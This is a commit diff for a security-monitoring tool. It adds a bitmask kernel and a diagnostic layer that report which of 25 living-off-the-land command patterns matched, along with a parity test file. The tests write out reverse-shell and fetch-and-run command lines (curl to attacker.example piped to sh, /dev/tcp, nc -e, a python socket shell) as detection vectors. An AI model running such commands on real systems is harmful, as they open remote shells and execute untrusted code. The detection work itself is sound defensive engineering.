Add lolbin match breakdown: typed match-bits kernel + untyped diagnostic layer
ober
7b6e981d31804100a2f4daae5441ed835f1f9263
--- a/Makefile +++ b/Makefile @@ -8,7 +8,7 @@ SCHEME ?= $(JERBOA)/.chez/bin/scheme BUILD ?= build/rust TYPED := $(wildcard typed/*.ss) -.PHONY: rust test ffi-demo kernels-check triage-check triage-store-check analytics-check detect-check storage-check threats-check geoip-check sigma-check yaml-rules-check buffer-check dns-sniffer-check suspicious-check netconn-check kernmod-check selinux-check container-check dns-servers-check sensitive-path-check dtrace-parse-check proc-linux-check freebsd-parse-check event-meta-check config-check event-danger-check persistence-check file-change-check webshell-check platform-mounts-check analyze-cli-check collector-cli-check event-summary-check ioc-check revshell-check cron-check logtamper-check detection-rules-check ipaddr-check auth-check checks clean +.PHONY: rust test ffi-demo kernels-check triage-check triage-store-check analytics-check detect-check storage-check threats-check geoip-check sigma-check yaml-rules-check buffer-check dns-sniffer-check suspicious-check netconn-check kernmod-check selinux-check container-check dns-servers-check sensitive-path-check dtrace-parse-check proc-linux-check freebsd-parse-check event-meta-check config-check event-danger-check persistence-check file-change-check webshell-check platform-mounts-check analyze-cli-check collector-cli-check event-summary-check ioc-check revshell-check cron-check logtamper-check detection-rules-check ipaddr-check auth-check lolbin-check checks clean # Combined libdir path so sibling libraries `(jsecmon ...)` resolve to ./jsecmon # (a second --libdirs would replace, not append, the jerboa one). LIBDIRS := "$(JERBOA)/lib:$(CURDIR)" @@ -167,6 +167,10 @@ dtrace-parse-check: proc-linux-check: $(SCHEME) --libdirs $(LIBDIRS) --script examples/proc_linux_check.ss +lolbin-check: rust + cd $(BUILD) && cargo build --release + $(SCHEME) --libdirs $(LIBDIRS) --script examples/lolbin_check.ss + # FreeBSD line parsers (secmon src/platform/freebsd.rs): parse_kldstat_line # (kld module rows) and parse_address (sockstat/netstat host:port, with the # "*" wildcard and ipv6 bracket forms). Ports are DECIMAL here, unlike Linux's @@ -332,6 +336,7 @@ checks: kernels-check $(SCHEME) --libdirs $(LIBDIRS) --script examples/detection_rules_check.ss $(SCHEME) --libdirs $(LIBDIRS) --script examples/ipaddr_check.ss $(SCHEME) --libdirs $(LIBDIRS) --script examples/auth_check.ss + $(SCHEME) --libdirs $(LIBDIRS) --script examples/lolbin_check.ss clean: rm -rf $(BUILD) --- a/README.md +++ b/README.md @@ -75,7 +75,7 @@ whole path — a Jerboa script `load-shared-object`s the dylib and calls the `jsecmon/kernels.ss` is the **reusable** form of that bridge: an importable `(library (jsecmon kernels) …)` that loads the dylib once on import and exports -clean Jerboa wrappers for all 21 kernels (`lolbin-score-cmdline`, `hex-decode`, +clean Jerboa wrappers for all 22 kernels (`lolbin-score-cmdline`, `lolbin-match-bits`, `hex-decode`, `host-risk-score`, `dga-score-domain`, `bytes-contains?`, `phantom-rootkit-race?`, …). It hides the C ABI entirely — including the out-param dance for Bytes/String results (alloc two cells, call, copy the buffer, `jt_byte_buffer_free`, free the @@ -98,7 +98,8 @@ then crypto orchestration, then I/O / async / FFI (monitors, server, storage). | `dga::shannon_entropy` | `typed/dga.ss` | ✅ ported, vectors pass | | `dga::score_domain` | `typed/dga.ss` | ✅ full: lowercase + dot-trim + benign-suffix + label split + score; vectors pass (diagnostic `reasons` list pending) | | `&str` ops (lowercase/ends_with/starts_with/contains/split/whole-word) | `typed/strbytes.ss` | ✅ Bytes toolkit, vectors pass — shared by dga/lolbin/sigma | -| `lolbin::score` + `severity` | `typed/lolbin.ss` | ✅ full 25-pattern table + severity buckets; vectors pass (JSON-cmdline parse stays in untyped wrapper; diagnostic match list with caller) | +| `lolbin::score` + `severity` | `typed/lolbin.ss` | ✅ full 25-pattern table + severity buckets, plus `match-bits` (a u64 bitmask of which patterns fired, bit 0…24 in PATTERNS order) so the diagnostic breakdown needs no second copy of the matchers; vectors pass (JSON-cmdline parse stays in untyped wrapper) | +| `lolbin::LolScore` (match breakdown + JSON) | `jsecmon/lolbin.ss` | ✅ **untyped layer** — the diagnostic companion to the typed kernel: `score-cmdline` returns a `lol-score` (total from `lolbin-score-cmdline`, per-pattern `matches` decoded from `lolbin-match-bits` against a static label/score/explanation table — data, not logic), `score-json-cmdline` adds the JSON-array parse (falls back to the raw string like `from_str::<Vec<String>>`), `lol-severity`/`lol-label-summary` mirror the Rust methods. No matcher is re-implemented, so total and matches can't drift. `make lolbin-check` runs secmon's 10 `#[test]` vectors plus exact-total, label-order, and bit↔label pins. | | `analytics::compute_host_risks` | `typed/analytics.ss` | ✅ risk-score kernel (clamped weighted sum); vectors pass | | `analytics` grouping + `group_incidents` | `jsecmon/analytics.ss` | ✅ **untyped layer** — per-host accumulation/sort/top-N driving the risk-score kernel, plus incident dedup/collapse; secmon analytics vectors pass (`make analytics-check`) | | `storage::detect_sequence_pair` (kill-chain core) | `jsecmon/analytics.ss` | ✅ **untyped layer** — the pure pairing primitive behind `detect_priv_escalation_chain`/`lateral_after_shell`/`persistence_after_access`/`log_cover`: given two event streams as `(host . ts-ms)` lists (the SQL `ORDER BY host,timestamp_ms` fetch is deferred I/O), pair each A with the **first** same-host B strictly later and within `window-ms` — at most one per A (Rust's inner `break`) — returning `((host …) (a-ts …) (b-ts …) (gap-seconds …))` for the caller to wrap as an Anomaly (`format_ts` is calendar-deferred). `gap-seconds` is integer ms/1000 (Rust i64 `/`). `make analytics-check` adds window-edge (≤ inclusive), strictly-later, cross-host, first-B-only, multi-A, and empty-stream cases. | @@ -106,7 +107,7 @@ then crypto orchestration, then I/O / async / FFI (monitors, server, storage). | `storage::detect_frequency_spikes` (spike core) | `jsecmon/analytics.ss` | ✅ **untyped layer** — the pure per-(host,event-type) hourly-spike test: given `(host event-type hour count)` rows (the `hourly_counts` GROUP BY aggregate is deferred I/O), sum count and tally hours per key, then emit any row whose key average `> 0` and whose `count` strictly exceeds `3×` that average. Returns `((host …) (event-type …) (hour …) (count …) (average …) (ratio …))` in input row order for the caller to wrap (`parse_hour_to_ms` is calendar-deferred); `average`/`ratio` are f64 like Rust's `total/hours` and `count/avg`. `make analytics-check` adds 3×-spike, exact-3×-excluded (strict `>`), flat, avg-0-guard, key-independence, two-group-order, and empty cases. | | `storage::detect_kill_chain` (chain core) | `jsecmon/analytics.ss` | ✅ **untyped layer** — the pure multi-phase kill-chain detector: given `(host ts-ms event-type)` rows pre-sorted by host then ts (SQL fetch deferred), slide from each i over the same-host run with `ts ≤ ts_i + window-ms`, map each type to an ATT&CK-ish phase via `event-type->attack-phase` (also exported; unmapped types skipped), and when the **distinct** phases reach `min-phases` (3) emit a chain then skip past it (Rust `i = j`), else advance one. Emits `((host …) (window-start …) (window-end …) (phases …) (event-types …))`; Rust collects phases from an unordered `HashSet`, so `phases` is canonicalized to first-seen order (treat as a set) while `event-types` keeps phase-mapped types in order. `make analytics-check` adds the classifier table, three-phases, two-distinct-only, unmapped-skip, host-boundary, window-edge, past-edge, two-chains-after-skip, and empty cases. | | `storage::detect_off_hours` (predicate) | `jsecmon/analytics.ss` | ✅ **untyped layer** — `off-hours?`, the decision rule factored out of the SQL `WHERE`: a critical/high event is off-hours on a weekend or outside 08:00–18:00 UTC (`weekday` = strftime `%w` 0=Sun…6=Sat, `hour` = `%H` 0–23). The timestamp→(weekday,hour) decomposition is calendar-deferred. `make analytics-check` adds weekend, midday, and the 08:00/17:00/18:00 boundaries. | -| `storage::detect_lolbin_cmdline` + `detect_dga_domain` | `jsecmon/detect.ss` | ✅ **untyped layer** — the kernel-driven detection rules: score every process_start cmdline (lolbin) / dns_query (dga) into anomalies above threshold. `make detect-check` runs the full events→detect→analytics pipeline; all three scoring kernels fire. Per-pattern label lists + label-level DGA dedup pending (need kernels that return the match breakdown). | +| `storage::detect_lolbin_cmdline` + `detect_dga_domain` | `jsecmon/detect.ss` | ✅ **untyped layer** — the kernel-driven detection rules: score every process_start cmdline (lolbin) / dns_query (dga) into anomalies above threshold. `make detect-check` runs the full events→detect→analytics pipeline; all three scoring kernels fire. Per-pattern lolbin label lists now available via `(jsecmon lolbin)`'s `match-bits`-backed breakdown; label-level DGA dedup still pending (needs a DGA kernel that returns its match breakdown). | | `triage` classifiers | `typed/triage.ss` | ✅ pure predicates (transient-unit?, phantom-rootkit-race?); vectors pass | | `triage` engine (rules + dispatch) | `jsecmon/triage.ss` | ✅ **untyped layer** — all 18 false-positive rules + first-match engine, in secmon's exact RULES order, dispatch in ordinary Jerboa delegating byte/string classification to the typed kernels; 40 triage vectors pass (`make triage-check`), incl. the security-relevant negatives (non-sshd reading host keys, systemd impersonated from /tmp, unknown daemon reading passwd). | | `triage::compute_triaged_ids` (triage-aware mode) | `jsecmon/triage-store.ss` | ✅ **untyped layer** — the bridge above storage+triage: query every in-scope event, triage each, return the sorted benign/expected ID set to drop into a filter's `exclude_event_ids`. `make triage-store-check` proves the round-trip — detection then sees only the real attacks. | new file mode 100644 --- /dev/null +++ b/examples/lolbin_check.ss @@ -0,0 +1,98 @@ +;;; Parity check for (jsecmon lolbin) against secmon's lolbin.rs #[test] mod +;;; (benign_curl, curl_pipe_sh, dev_tcp, nc_execute, base64_pipe_bash, +;;; exec_from_tmp, python_reverse_shell, json_cmdline, discovery_burst, +;;; severity_buckets), plus exact-total and label-order assertions. +;;; +;;; scheme --libdirs "$JERBOA/lib:." --script examples/lolbin_check.ss + +(import (jerboa prelude) + (jsecmon lolbin)) + +(def fails 0) +(def (check name got want) + (let ((ok (equal? got want))) + (unless ok (set! fails (+ fails 1))) + (displayln (if ok " ok " " FAIL ") name + (if ok "" (str " got " got " want " want))))) + +(def (labels s) (map lol-match-label (lol-score-matches s))) +(def (has-label? s lbl) (and (member lbl (labels s)) #t)) + +;; ── benign_curl_does_not_score ─────────────────────────────────────────────── +(displayln "secmon lolbin.rs vectors:") +(check "benign curl total 0" + (lol-score-total (score-cmdline "curl https://example.com -o /home/user/page.html" + "/usr/bin/curl")) 0) + +;; ── curl_pipe_sh_fires ─────────────────────────────────────────────────────── +(def s-pipe (score-cmdline "curl https://attacker.example/x | sh" "/usr/bin/bash")) +(check "curl|sh total 70" (lol-score-total s-pipe) 70) +(check "curl|sh pipe-to-shell" (has-label? s-pipe "pipe-to-shell") #t) + +;; ── dev_tcp_reverse_shell_fires ────────────────────────────────────────────── +(def s-tcp (score-cmdline "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" "/usr/bin/bash")) +(check "dev/tcp total 105" (lol-score-total s-tcp) 105) +(check "dev/tcp dev-tcp-redirect" (has-label? s-tcp "dev-tcp-redirect") #t) +(check "dev/tcp interactive-shell-flag" (has-label? s-tcp "interactive-shell-flag") #t) +;; matches stay in PATTERNS order -> label_summary order is stable +(check "dev/tcp label_summary order" + (lol-label-summary s-tcp) "dev-tcp-redirect,interactive-shell-flag") + +;; ── nc_execute_flag_fires ──────────────────────────────────────────────────── +(check "nc -e total 80" + (lol-score-total (score-cmdline "nc -e /bin/sh 1.2.3.4 4444" "/usr/bin/nc")) 80) + +;; ── base64_pipe_bash_fires ─────────────────────────────────────────────────── +(def s-b64 (score-cmdline "echo aGVsbG8K | base64 -d | bash" "/bin/bash")) +(check "base64|bash total 110" (lol-score-total s-b64) 110) +(check "base64|bash base64-decode-exec" (has-label? s-b64 "base64-decode-exec") #t) +(check "base64|bash echo-pipe-decoder" (has-label? s-b64 "echo-pipe-decoder") #t) + +;; ── exec_from_tmp_fires ────────────────────────────────────────────────────── +(def s-tmp (score-cmdline "./payload" "/tmp/payload")) +(check "exec-from-tmp label" (has-label? s-tmp "exec-from-tmp") #t) +(check "exec-from-tmp total 50" (lol-score-total s-tmp) 50) + +;; ── python_reverse_shell_fires ─────────────────────────────────────────────── +(check "python socket payload total 70" + (lol-score-total + (score-cmdline + "python -c import socket,subprocess;s=socket.socket();s.connect(('a',1));subprocess.call(['/bin/sh'])" + "/usr/bin/python3")) 70) + +;; ── json_cmdline_parses (array of strings joined with spaces) ───────────────── +(check "json array cmdline total 70" + (lol-score-total + (score-json-cmdline "[\"bash\",\"-c\",\"curl http://x | sh\"]" "/bin/bash")) 70) +;; a non-array / unparseable cmdline falls back to the raw string and still scores +(check "json fallback single-string still scores" + (lol-score-total (score-json-cmdline "curl http://x | sh" "/bin/bash")) 70) +;; a JSON array of non-strings falls back to raw (here: no signal -> 0) +(check "json non-string array -> raw, 0" + (lol-score-total (score-json-cmdline "[1,2,3]" "/bin/sh")) 0) + +;; ── discovery_burst_fires_only_at_three_plus ───────────────────────────────── +(check "lone whoami total 0" + (lol-score-total (score-cmdline "whoami" "/usr/bin/whoami")) 0) +(def s-burst (score-cmdline "whoami; id; uname -a" "/bin/sh")) +(check "three-signal discovery-burst" (has-label? s-burst "discovery-burst") #t) +(check "discovery-burst total 15" (lol-score-total s-burst) 15) +;; `id` must be a whole token, not a substring of "did" +(check "substring 'did' is not the id token" + (lol-score-total (score-cmdline "echo did you run whoami and uname" "/bin/sh")) 0) + +;; ── severity_buckets ───────────────────────────────────────────────────────── +(displayln "severity buckets:") +(check "25 -> info" (lol-severity (make-lol-score 25 '())) "info") +(check "35 -> medium" (lol-severity (make-lol-score 35 '())) "medium") +(check "75 -> high" (lol-severity (make-lol-score 75 '())) "high") +(check "120 -> critical" (lol-severity (make-lol-score 120 '())) "critical") +;; bucket edges: 30/60/100 are inclusive lower bounds +(check "30 -> medium" (lol-severity (make-lol-score 30 '())) "medium") +(check "60 -> high" (lol-severity (make-lol-score 60 '())) "high") +(check "100 -> critical" (lol-severity (make-lol-score 100 '())) "critical") + +(newline) +(if (= fails 0) + (displayln "OK: lolbin matches secmon's lolbin.rs behaviour.") + (begin (displayln fails " FAILURES") (exit 1))) --- a/jsecmon/kernels.ss +++ b/jsecmon/kernels.ss @@ -14,7 +14,7 @@ (library (jsecmon kernels) (export ;; lolbin - lolbin-score-cmdline lolbin-severity + lolbin-score-cmdline lolbin-match-bits lolbin-severity ;; psk crypto primitives constant-time-eq? hex-encode hex-decode hex-string? psk-hex-32? ;; analytics @@ -92,6 +92,12 @@ (let ((c (u8->bytes cmd)) (x (u8->bytes exe))) (%score-cmdline c (bytevector-length c) x (bytevector-length x)))) + (define %match-bits + (fp "jt_jsecmon_lolbin_match_bits" (u8* size_t u8* size_t) unsigned-64)) + (define (lolbin-match-bits cmd exe) + (let ((c (u8->bytes cmd)) (x (u8->bytes exe))) + (%match-bits c (bytevector-length c) x (bytevector-length x)))) + (define %severity (fp "jt_jsecmon_lolbin_severity" (unsigned-64 void* void*) unsigned-8)) (define (lolbin-severity total) (utf8->string (call->bytes (lambda (pp pl) (%severity total pp pl))))) new file mode 100644 --- /dev/null +++ b/jsecmon/lolbin.ss @@ -0,0 +1,126 @@ +#!chezscheme +;;; jsecmon LOLBin diagnostic layer — the untyped companion to the typed +;;; (jsecmon lolbin) scoring kernel. +;;; +;;; The 25-pattern matcher logic lives ONCE, in typed/lolbin.ss (compiled to the +;;; Rust kernel): `lolbin-score-cmdline` returns the additive total and +;;; `lolbin-match-bits` returns a bitmask of which patterns fired (bit 0 = +;;; pipe-to-shell … bit 24 = shc-output, in PATTERNS order). This module adds +;;; what a scalar kernel can't: the per-match label/score/explanation breakdown +;;; (by decoding the bitmask against a static metadata table — data, not logic), +;;; plus the JSON-cmdline convenience parse. So nothing here re-implements a +;;; matcher; drift between the two is impossible because the bits and the total +;;; come from the same kernel. +;;; +;;; Verified against secmon's lolbin.rs #[test] vectors in +;;; examples/lolbin_check.ss (which also pins the bit↔label mapping). + +(library (jsecmon lolbin) + (export make-lol-score lol-score? lol-score-total lol-score-matches + make-lol-match lol-match? lol-match-label lol-match-score + lol-match-explanation + score-cmdline score-json-cmdline lol-severity lol-label-summary) + (import (except (chezscheme) + make-hash-table hash-table? + sort sort! + printf fprintf + path-extension path-absolute? + with-input-from-string with-output-to-string + iota 1+ 1- + partition + make-date make-time) + (except (jerboa prelude) meta atom?) + (only (jsecmon kernels) + lolbin-score-cmdline lolbin-match-bits lolbin-severity)) + + (defstruct lol-score (total matches)) ;; matches : list of lol-match + (defstruct lol-match (label score explanation)) + + ;; (bit label score explanation) for each pattern, in PATTERNS / bit order. + ;; This is metadata only — the matching that sets each bit is the typed kernel. + (def *pattern-meta* + (list + (list 1 "pipe-to-shell" 70 + "Output of a network fetcher piped directly into a shell interpreter") + (list 2 "dev-tcp-redirect" 80 + "Use of /dev/tcp/host/port — bash reverse shell primitive") + (list 4 "dev-udp-redirect" 80 + "Use of /dev/udp/host/port — bash reverse shell primitive") + (list 8 "nc-execute" 80 + "nc/ncat -e or -c flag — execute on connect (legacy reverse shell)") + (list 16 "socat-exec" 80 + "socat with EXEC: payload — common reverse shell") + (list 32 "interactive-shell-flag" 25 + "Shell with -i (interactive) flag — common in post-exploit shells") + (list 64 "base64-decode-exec" 60 + "Base64 decoded then piped into a shell or interpreter") + (list 128 "echo-pipe-decoder" 50 + "echo of long string piped into a decoder/runner — staged payload") + (list 256 "exec-from-tmp" 50 + "Process executing a binary from /tmp, /dev/shm, or /var/tmp") + (list 512 "chmod-x-tmp" 60 + "chmod +x on a file in /tmp, /dev/shm, or /var/tmp — staging an implant") + (list 1024 "wget-into-tmp" 50 + "wget/curl downloading into a world-writable directory") + (list 2048 "python-socket-payload" 70 + "python -c with socket, subprocess, and exec/system in one line") + (list 4096 "perl-socket-payload" 70 + "perl -e with Socket and exec in one line") + (list 8192 "ruby-socket-payload" 70 + "ruby -e with TCPSocket and exec in one line") + (list 16384 "php-socket-payload" 70 + "php -r with fsockopen / shell_exec") + (list 32768 "mkfifo-pipe" 60 + "mkfifo + named-pipe shell construction") + (list 65536 "memfd-loader" 70 + "memfd_create / fexecve fileless execution path") + (list 131072 "ld-preload-set" 60 + "LD_PRELOAD set on the command line — library injection") + (list 262144 "crontab-from-fetch" 50 + "Adding a cron entry that fetches and runs a remote script") + (list 524288 "ssh-key-write" 40 + "Echo or cat appending to authorized_keys (backdoor key install)") + (list 1048576 "history-clear" 40 + "Shell history clearing or unset") + (list 2097152 "log-truncate" 40 + "Truncating or removing system log files") + (list 4194304 "discovery-burst" 15 + "Standard recon string in one line: id + whoami + uname + cat passwd") + (list 8388608 "powershell-on-linux" 50 + "PowerShell invoked on Linux — uncommon outside cross-platform malware") + (list 16777216 "shc-output" 30 + "Compiled-shell-script (shc) wrapper output — often malware packaging"))) + + ;; score cmdline (full argv joined with spaces) and exe (executable path) into + ;; a lol-score: total + the matched patterns in PATTERNS order. The total and + ;; the match bits both come from the typed kernel, so they always agree. + (def (score-cmdline cmdline exe) + (let ((total (lolbin-score-cmdline cmdline exe)) + (bits (lolbin-match-bits cmdline exe))) + (make-lol-score + total + (filter-map + (lambda (m) + (and (positive? (bitwise-and bits (car m))) + (make-lol-match (cadr m) (caddr m) (cadddr m)))) + *pattern-meta*)))) + + ;; score a JSON-encoded cmdline (["bash","-c","curl x|sh"]) + exe. A JSON + ;; array of strings is joined with " "; anything else (object, bare string, + ;; numbers, parse error) falls back to the raw input (from_str::<Vec<String>>). + (def (score-json-cmdline cmdline-json exe) + (let* ((parsed (try-result* (string->json-object cmdline-json))) + (joined + (if (and (ok? parsed) + (list? (unwrap parsed)) + (for/and ((x (unwrap parsed))) (string? x))) + (string-join (unwrap parsed) " ") + cmdline-json))) + (score-cmdline joined exe))) + + ;; severity bucket for a lol-score (delegates to the typed kernel). + (def (lol-severity s) (lolbin-severity (lol-score-total s))) + + ;; comma-separated label list for one-line display (Rust label_summary). + (def (lol-label-summary s) + (string-join (map lol-match-label (lol-score-matches s)) ","))) --- a/typed/lolbin.ss +++ b/typed/lolbin.ss @@ -10,7 +10,7 @@ ;;; the (untyped) caller that builds the anomaly. (typed-library (jsecmon lolbin) - (export score-cmdline severity) + (export score-cmdline match-bits severity) (import (jsecmon strbytes)) ;; --- pattern matchers (operate on the lowercased cmdline / exe bytes) --- @@ -243,6 +243,40 @@ (if (pat-powershell? x) 50 0) (if (pat-shc-output? x) 30 0)))) + ;; Bitmask of which patterns matched, one bit per pattern in PATTERNS order + ;; (bit 0 = pipe-to-shell … bit 24 = shc-output). The bits are disjoint powers + ;; of two and each pattern fires at most once, so this sum is exactly the OR of + ;; the matched bits. The untyped caller decodes the bits into the diagnostic + ;; label/score/explanation list, so the matcher logic lives only here. + (def (match-bits (cmdline : String) (exe : String)) : Nat + (let ((cmd (ascii-lower-bytes cmdline)) + (x (ascii-lower-bytes exe))) + (+ (if (pat-pipe-to-shell? cmd) 1 0) + (if (pat-dev-tcp? cmd) 2 0) + (if (pat-dev-udp? cmd) 4 0) + (if (pat-nc-execute? cmd) 8 0) + (if (pat-socat-exec? cmd) 16 0) + (if (pat-interactive-shell? cmd) 32 0) + (if (pat-base64-exec? cmd) 64 0) + (if (pat-echo-pipe? cmd) 128 0) + (if (pat-exec-from-tmp? x) 256 0) + (if (pat-chmod-x-tmp? cmd) 512 0) + (if (pat-wget-into-tmp? cmd) 1024 0) + (if (pat-python-socket? cmd) 2048 0) + (if (pat-perl-socket? cmd) 4096 0) + (if (pat-ruby-socket? cmd) 8192 0) + (if (pat-php-socket? cmd) 16384 0) + (if (pat-mkfifo-pipe? cmd) 32768 0) + (if (pat-memfd-loader? cmd) 65536 0) + (if (pat-ld-preload? cmd) 131072 0) + (if (pat-crontab-fetch? cmd) 262144 0) + (if (pat-ssh-key-write? cmd) 524288 0) + (if (pat-history-clear? cmd) 1048576 0) + (if (pat-log-truncate? cmd) 2097152 0) + (if (pat-discovery-burst? cmd) 4194304 0) + (if (pat-powershell? x) 8388608 0) + (if (pat-shc-output? x) 16777216 0)))) + ;; Severity bucket for a total, matching LolScore::severity. (def (severity (total : Nat)) : String (if (>= total 100)